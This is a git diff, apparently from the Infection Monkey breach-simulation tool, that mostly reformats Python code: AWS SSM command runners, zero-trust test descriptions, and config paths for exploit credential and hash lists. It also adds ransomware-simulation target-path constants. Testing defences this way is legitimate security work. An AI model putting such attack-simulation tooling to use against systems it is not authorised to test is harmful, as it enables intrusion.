- self.is_successful(command_info, True), command_info['ResponseCode'], command_info['StandardOutputContent'],
- command_info['StandardErrorContent'])
+ self.is_successful(command_info, True),
+ command_info["ResponseCode"],
+ command_info["StandardOutputContent"],
+ command_info["StandardErrorContent"],
+ )
self.command_info = command_info
@staticmethod
def is_successful(command_info, is_timeout=False):
"""
- Determines whether the command was successful. If it timed out and was still in progress, we assume it worked.
+ Determines whether the command was successful. If it timed out and was still in progress,
+ we assume it worked.
:param command_info: Command info struct (returned by ssm.get_command_invocation)
:param is_timeout: Whether the given command timed out
:return: True if successful, False otherwise.
"""
- return (command_info['Status'] == 'Success') or (is_timeout and (command_info['Status'] == 'InProgress'))
+ return (command_info["Status"] == "Success") or (
+ is_timeout and (command_info["Status"] == "InProgress")
+ )
diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py
index 1ab680c4d..f4b8cd7bc 100644
--- a/monkey/common/cmd/aws/aws_cmd_runner.py
+++ b/monkey/common/cmd/aws/aws_cmd_runner.py
@@ -5,8 +5,6 @@ from common.cmd.aws.aws_cmd_result import AwsCmdResult
from common.cmd.cmd_runner import CmdRunner
from common.cmd.cmd_status import CmdStatus
-__author__ = 'itay.mizeretz'
-
logger = logging.getLogger(__name__)
@@ -19,7 +17,7 @@ class AwsCmdRunner(CmdRunner):
super(AwsCmdRunner, self).__init__(is_linux)
self.instance_id = instance_id
self.region = region
- self.ssm = AwsService.get_client('ssm', region)
+ self.ssm = AwsService.get_client("ssm", region)
def query_command(self, command_id):
return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id)
@@ -28,15 +26,18 @@ class AwsCmdRunner(CmdRunner):
return AwsCmdResult(command_info)
def get_command_status(self, command_info):
- if command_info['Status'] == 'InProgress':
+ if command_info["Status"] == "InProgress":
return CmdStatus.IN_PROGRESS
- elif command_info['Status'] == 'Success':
+ elif command_info["Status"] == "Success":
return CmdStatus.SUCCESS
else:
return CmdStatus.FAILURE
def run_command_async(self, command_line):
doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript"
- command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command_line]},
- InstanceIds=[self.instance_id])
- return command_res['Command']['CommandId']
+ command_res = self.ssm.send_command(
+ DocumentName=doc_name,
+ Parameters={"commands": [command_line]},
+ InstanceIds=[self.instance_id],
+ )
+ return command_res["Command"]["CommandId"]
diff --git a/monkey/common/cmd/cmd.py b/monkey/common/cmd/cmd.py
index 8cb2177a2..6daa970a6 100644
--- a/monkey/common/cmd/cmd.py
+++ b/monkey/common/cmd/cmd.py
@@ -1,6 +1,3 @@
-__author__ = 'itay.mizeretz'
-
-
class Cmd(object):
"""
Class representing a command
diff --git a/monkey/common/cmd/cmd_result.py b/monkey/common/cmd/cmd_result.py
index d3039736f..85179a053 100644
--- a/monkey/common/cmd/cmd_result.py
+++ b/monkey/common/cmd/cmd_result.py
@@ -1,6 +1,3 @@
-__author__ = 'itay.mizeretz'
-
-
class CmdResult(object):
"""
Class representing a command result
diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py
index 5cc40ca24..e612f4efb 100644
--- a/monkey/common/cmd/cmd_runner.py
+++ b/monkey/common/cmd/cmd_runner.py
@@ -2,12 +2,9 @@ import logging
import time
from abc import abstractmethod
-from common.cmd.cmd import Cmd
from common.cmd.cmd_result import CmdResult
from common.cmd.cmd_status import CmdStatus
-__author__ = 'itay.mizeretz'
-
logger = logging.getLogger(__name__)
@@ -21,8 +18,10 @@ class CmdRunner(object):
* command id - any unique identifier of a command which was already run
* command result - represents the result of running a command. Always of type CmdResult
* command status - represents the current status of a command. Always of type CmdStatus
- * command info - Any consistent structure representing additional information of a command which was already run
- * instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' as a field
+ * command info - Any consistent structure representing additional information of a command
+ which was already run
+ * instance - a machine that commands will be run on. Can be any dictionary with 'instance_id'
+ as a field
* instance_id - any unique identifier of an instance (machine). Can be of any format
"""
@@ -34,22 +33,13 @@ class CmdRunner(object):
def __init__(self, is_linux):
self.is_linux = is_linux
- def run_command(self, command_line, timeout=DEFAULT_TIMEOUT):
- """
- Runs the given command on the remote machine
- :param command_line: The command line to run
- :param timeout: Timeout in seconds for command.
- :return: Command result
- """
- c_id = self.run_command_async(command_line)
- return self.wait_commands([Cmd(self, c_id)], timeout)[1]
-
@staticmethod
def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res):
"""
Run multiple commands on various instances
:param instances: List of instances.
- :param inst_to_cmd: Function which receives an instance, runs a command asynchronously and returns Cmd
+ :param inst_to_cmd: Function which receives an instance, runs a command asynchronously
+ and returns Cmd
:param inst_n_cmd_res_to_res: Function which receives an instance and CmdResult
and returns a parsed result (of any format)
:return: Dictionary with 'instance_id' as key and parsed result as value
@@ -64,7 +54,7 @@ class CmdRunner(object):
command_result_pairs = CmdRunner.wait_commands(list(command_instance_dict.keys()))
for command, result in command_result_pairs:
instance = command_instance_dict[command]
- instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result)
+ instance_results[instance["instance_id"]] = inst_n_cmd_res_to_res(instance, result)
return instance_results
@@ -91,7 +81,9 @@ class CmdRunner(object):
results = []
while (curr_time - init_time < timeout) and (len(commands) != 0):
- for command in list(commands): # list(commands) clones the list. We do so because we remove items inside
+ for command in list(
+ commands
+ ): # list(commands) clones the list. We do so because we remove items inside
CmdRunner._process_command(command, commands, results, True)
time.sleep(CmdRunner.WAIT_SLEEP_TIME)
@@ -102,8 +94,11 @@ class CmdRunner(object):
for command, result in results:
if not result.is_success:
- logger.error('The following command failed: `%s`. status code: %s',
- str(command[1]), str(result.status_code))
+ logger.error(
+ "The following command failed: `%s`. status code: %s",
+ str(command[1]),
+ str(result.status_code),
+ )
return results
@@ -148,11 +143,13 @@ class CmdRunner(object):
c_id = command.cmd_id
try:
command_info = c_runner.query_command(c_id)
- if (not should_process_only_finished) or c_runner.get_command_status(command_info) != CmdStatus.IN_PROGRESS:
+ if (not should_process_only_finished) or c_runner.get_command_status(
+ command_info
+ ) != CmdStatus.IN_PROGRESS:
commands.remove(command)
results.append((command, c_runner.get_command_result(command_info)))
except Exception:
- logger.exception('Exception while querying command: `%s`', str(c_id))
+ logger.exception("Exception while querying command: `%s`", str(c_id))
if not should_process_only_finished:
commands.remove(command)
results.append((command, CmdResult(False)))
diff --git a/monkey/common/cmd/cmd_status.py b/monkey/common/cmd/cmd_status.py
index 2fc9cc168..6a9bbae71 100644
--- a/monkey/common/cmd/cmd_status.py
+++ b/monkey/common/cmd/cmd_status.py
@@ -1,7 +1,5 @@
from enum import Enum
-__author__ = 'itay.mizeretz'
-
class CmdStatus(Enum):
IN_PROGRESS = 0
diff --git a/monkey/common/common_consts/api_url_consts.py b/monkey/common/common_consts/api_url_consts.py
index 4fef6b11b..91f289218 100644
--- a/monkey/common/common_consts/api_url_consts.py
+++ b/monkey/common/common_consts/api_url_consts.py
@@ -1 +1 @@
-T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download'
+T1216_PBA_FILE_DOWNLOAD_PATH = "/api/t1216-pba/download"
diff --git a/monkey/common/common_consts/network_consts.py b/monkey/common/common_consts/network_consts.py
index b194c9421..8966c23d7 100644
--- a/monkey/common/common_consts/network_consts.py
+++ b/monkey/common/common_consts/network_consts.py
@@ -1 +1 @@
-ES_SERVICE = 'elastic-search-9200'
+ES_SERVICE = "elastic-search-9200"
diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py
index c93cb2537..175a054e1 100644
--- a/monkey/common/common_consts/system_info_collectors_names.py
+++ b/monkey/common/common_consts/system_info_collectors_names.py
@@ -4,4 +4,3 @@ ENVIRONMENT_COLLECTOR = "EnvironmentCollector"
PROCESS_LIST_COLLECTOR = "ProcessListCollector"
MIMIKATZ_COLLECTOR = "MimikatzCollector"
AZURE_CRED_COLLECTOR = "AzureCollector"
-SCOUTSUITE_COLLECTOR = "ScoutSuiteCollector"
diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py
index 70066d290..8c39abd74 100644
--- a/monkey/common/common_consts/telem_categories.py
+++ b/monkey/common/common_consts/telem_categories.py
@@ -1,10 +1,11 @@
class TelemCategoryEnum:
- EXPLOIT = 'exploit'
- POST_BREACH = 'post_breach'
- SCAN = 'scan'
- SCOUTSUITE = 'scoutsuite'
- STATE = 'state'
- SYSTEM_INFO = 'system_info'
- TRACE = 'trace'
- TUNNEL = 'tunnel'
- ATTACK = 'attack'
+ EXPLOIT = "exploit"
+ POST_BREACH = "post_breach"
+ SCAN = "scan"
+ SCOUTSUITE = "scoutsuite"
+ STATE = "state"
+ SYSTEM_INFO = "system_info"
+ TRACE = "trace"
+ TUNNEL = "tunnel"
+ ATTACK = "attack"
+ FILE_ENCRYPTION = "file_encryption"
diff --git a/monkey/common/common_consts/time_formats.py b/monkey/common/common_consts/time_formats.py
new file mode 100644
index 000000000..d150ce46e
--- /dev/null
+++ b/monkey/common/common_consts/time_formats.py
@@ -0,0 +1,3 @@
+# Default time format used in the application, follows European standard.
+# Example: 1992-03-04 10:32:05
+DEFAULT_TIME_FORMAT = "%Y-%m-%d %H:%M:%S"
diff --git a/monkey/common/common_consts/validation_formats.py b/monkey/common/common_consts/validation_formats.py
index 2f04dbe21..41a460a8a 100644
--- a/monkey/common/common_consts/validation_formats.py
+++ b/monkey/common/common_consts/validation_formats.py
@@ -1,3 +1,5 @@
# Defined in UI on ValidationFormats.js
IP_RANGE = "ip-range"
IP = "ip"
+VALID_RANSOMWARE_TARGET_PATH_LINUX = "valid-ransomware-target-path-linux"
+VALID_RANSOMWARE_TARGET_PATH_WINDOWS = "valid-ransomware-target-path-windows"
diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py
index f0a624bdf..6df648e00 100644
--- a/monkey/common/common_consts/zero_trust_consts.py
+++ b/monkey/common/common_consts/zero_trust_consts.py
@@ -1,8 +1,10 @@
"""
-This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
+This file contains all the static data relating to Zero Trust. It is mostly used in the zero
+trust report generation and
in creating findings.
-This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
+This file contains static mappings between zero trust components such as: pillars, principles,
+tests, statuses.
Some of the mappings are computed when this module is loaded.
"""
@@ -13,7 +15,15 @@ DEVICES = "Devices"
NETWORKS = "Networks"
PEOPLE = "People"
DATA = "Data"
-PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
+PILLARS = (
+ DATA,
+ PEOPLE,
+ NETWORKS,
+ DEVICES,
+ WORKLOADS,
+ VISIBILITY_ANALYTICS,
+ AUTOMATION_ORCHESTRATION,
+)
STATUS_UNEXECUTED = "Unexecuted"
STATUS_PASSED = "Passed"
@@ -55,7 +65,7 @@ TESTS = (
TEST_SCOUTSUITE_SECURE_AUTHENTICATION,
TEST_SCOUTSUITE_RESTRICTIVE_POLICIES,
TEST_SCOUTSUITE_LOGGING,
- TEST_SCOUTSUITE_SERVICE_SECURITY
+ TEST_SCOUTSUITE_SERVICE_SECURITY,
)
PRINCIPLE_DATA_CONFIDENTIALITY = "data_transit"
@@ -72,14 +82,18 @@ PRINCIPLES = {
PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your network.",
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.",
PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.",
- PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint security solutions.",
+ PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint "
+ "security solutions.",
PRINCIPLE_DATA_CONFIDENTIALITY: "Ensure data's confidentiality by encrypting it.",
- PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.",
- PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandatory "
- "Access Control) only.",
- PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster recovery scenarios.",
+ PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as "
+ "possible.",
+ PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources "
+ "should be MAC (Mandatory "
+ "Access Control) only.",
+ PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster "
+ "recovery scenarios.",
PRINCIPLE_SECURE_AUTHENTICATION: "Ensure secure authentication process's.",
- PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources."
+ PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources.",
}
POSSIBLE_STATUSES_KEY = "possible_statuses"
@@ -89,173 +103,193 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
TEST_EXPLANATION_KEY = "explanation"
TESTS_MAP = {
TEST_SEGMENTATION: {
- TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
- "running on, that belong to different network segments.",
+ TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can "
+ "communicate with from the machine it's "
+ "running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
- STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
+ STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and"
+ " logs.",
+ STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, "
+ "check firewall logs.",
},
PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
PILLARS_KEY: [NETWORKS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED],
},
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
- TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
- "exploitation.",
+ TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking "
+ "actions, like scanning and attempting "
+ "exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
+ STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and "
+ "alerts."
},
PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY],
},
TEST_ENDPOINT_SECURITY_EXISTS: {
- TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
+ TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an "
+ "endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
- "software on endpoints.",
- STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
- "security concern. "
+ STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and "
+ "activate anti-virus "
+ "software on endpoints.",
+ STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to "
+ "see if Monkey was a "
+ "security concern. ",
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_MACHINE_EXPLOITED: {
- TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
+ TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to "
+ "breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
- "which endpoints were compromised.",
- STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
+ STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see "
+ "activity recognized and see "
+ "which endpoints were compromised.",
+ STATUS_PASSED: "Monkey didn't manage to exploit an endpoint.",
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY],
},
TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
- "software.",
- STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
+ STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in "
+ "User-Behavior security "
+ "software.",
+ STATUS_PASSED: "Monkey failed to execute in a scheduled manner.",
},
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
PILLARS_KEY: [PEOPLE, NETWORKS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY],
},
TEST_DATA_ENDPOINT_ELASTIC: {
- TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
+ TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to "
+ "ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
- STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
- "that indicate attempts to access them. "
+ STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by "
+ "encrypting it in in-transit.",
+ STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such "
+ "instances, look for alerts "
+ "that indicate attempts to access them. ",
},
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY: [DATA],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_DATA_ENDPOINT_HTTP: {
- TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
+ TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP " "servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
- STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
- "attempts to access them. "
+ STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in"
+ " in-transit.",
+ STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, "
+ "look for alerts that indicate "
+ "attempts to access them. ",
},
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY: [DATA],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_TUNNELING: {
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
- "restrict them. "
+ STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies "
+ "are too permissive - "
+ "restrict them. "
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED],
},
TEST_COMMUNICATE_AS_NEW_USER: {
- TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
+ TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate "
+ "with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
- STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
- "restrict them to MAC only.",
- STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
+ STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies "
+ "are too permissive - "
+ "restrict them to MAC only.",
+ STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network.",
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: {
TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.",
- STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules."
+ STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.",
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_UNENCRYPTED_DATA: {
- TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing unencrypted data.",
+ TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing " "unencrypted data.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found resources with unencrypted data.",
- STATUS_PASSED: "ScoutSuite found no resources with unencrypted data."
+ STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.",
},
PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY,
PILLARS_KEY: [DATA],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: {
- TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not protected against data loss.",
+ TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not "
+ "protected against data loss.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found resources not protected against data loss.",
- STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss."
+ STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.",
},
PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY,
PILLARS_KEY: [DATA],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_SECURE_AUTHENTICATION: {
- TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' authentication.",
+ TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' " "authentication.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found issues related to users' authentication.",
- STATUS_PASSED: "ScoutSuite found no issues related to users' authentication."
+ STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.",
},
PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION,
PILLARS_KEY: [PEOPLE, WORKLOADS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: {
- TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access policies.",
+ TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access " "policies.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found permissive user access policies.",
- STATUS_PASSED: "ScoutSuite found no issues related to user access policies."
+ STATUS_PASSED: "ScoutSuite found no issues related to user access policies.",
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
PILLARS_KEY: [PEOPLE, WORKLOADS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_LOGGING: {
TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found logging issues.",
- STATUS_PASSED: "ScoutSuite found no logging issues."
+ STATUS_PASSED: "ScoutSuite found no logging issues.",
},
PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING,
PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_SCOUTSUITE_SERVICE_SECURITY: {
TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "ScoutSuite found service security issues.",
- STATUS_PASSED: "ScoutSuite found no service security issues."
+ STATUS_PASSED: "ScoutSuite found no service security issues.",
},
PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING,
PILLARS_KEY: [DEVICES, NETWORKS],
- POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
- }
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
+ },
}
EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
@@ -269,7 +303,7 @@ PILLARS_TO_TESTS = {
DEVICES: [],
WORKLOADS: [],
VISIBILITY_ANALYTICS: [],
- AUTOMATION_ORCHESTRATION: []
+ AUTOMATION_ORCHESTRATION: [],
}
PRINCIPLES_TO_TESTS = {}
diff --git a/monkey/common/config_value_paths.py b/monkey/common/config_value_paths.py
index 5ddbe8605..db10fb9e1 100644
--- a/monkey/common/config_value_paths.py
+++ b/monkey/common/config_value_paths.py
@@ -1,13 +1,15 @@
-AWS_KEYS_PATH = ['internal', 'monkey', 'aws_keys']
-STARTED_ON_ISLAND_PATH = ['internal', 'general', 'started_on_island']
-EXPORT_MONKEY_TELEMS_PATH = ['internal', 'testing', 'export_monkey_telems']
-CURRENT_SERVER_PATH = ['internal', 'island_server', 'current_server']
-SSH_KEYS_PATH = ['internal', 'exploits', 'exploit_ssh_keys']
-INACCESSIBLE_SUBNETS_PATH = ['basic_network', 'network_analysis', 'inaccessible_subnets']
-USER_LIST_PATH = ['basic', 'credentials', 'exploit_user_list']
-PASSWORD_LIST_PATH = ['basic', 'credentials', 'exploit_password_list']
-EXPLOITER_CLASSES_PATH = ['basic', 'exploiters', 'exploiter_classes']
-SUBNET_SCAN_LIST_PATH = ['basic_network', 'scope', 'subnet_scan_list']
-LOCAL_NETWORK_SCAN_PATH = ['basic_network', 'scope', 'local_network_scan']
-LM_HASH_LIST_PATH = ['internal', 'exploits', 'exploit_lm_hash_list']
-NTLM_HASH_LIST_PATH = ['internal', 'exploits', 'exploit_ntlm_hash_list']
+AWS_KEYS_PATH = ["internal", "monkey", "aws_keys"]
+STARTED_ON_ISLAND_PATH = ["internal", "general", "started_on_island"]
+EXPORT_MONKEY_TELEMS_PATH = ["internal", "testing", "export_monkey_telems"]
+CURRENT_SERVER_PATH = ["internal", "island_server", "current_server"]
+SSH_KEYS_PATH = ["internal", "exploits", "exploit_ssh_keys"]
+INACCESSIBLE_SUBNETS_PATH = ["basic_network", "network_analysis", "inaccessible_subnets"]
+USER_LIST_PATH = ["basic", "credentials", "exploit_user_list"]
+PASSWORD_LIST_PATH = ["basic", "credentials", "exploit_password_list"]
+EXPLOITER_CLASSES_PATH = ["basic", "exploiters", "exploiter_classes"]
+SUBNET_SCAN_LIST_PATH = ["basic_network", "scope", "subnet_scan_list"]
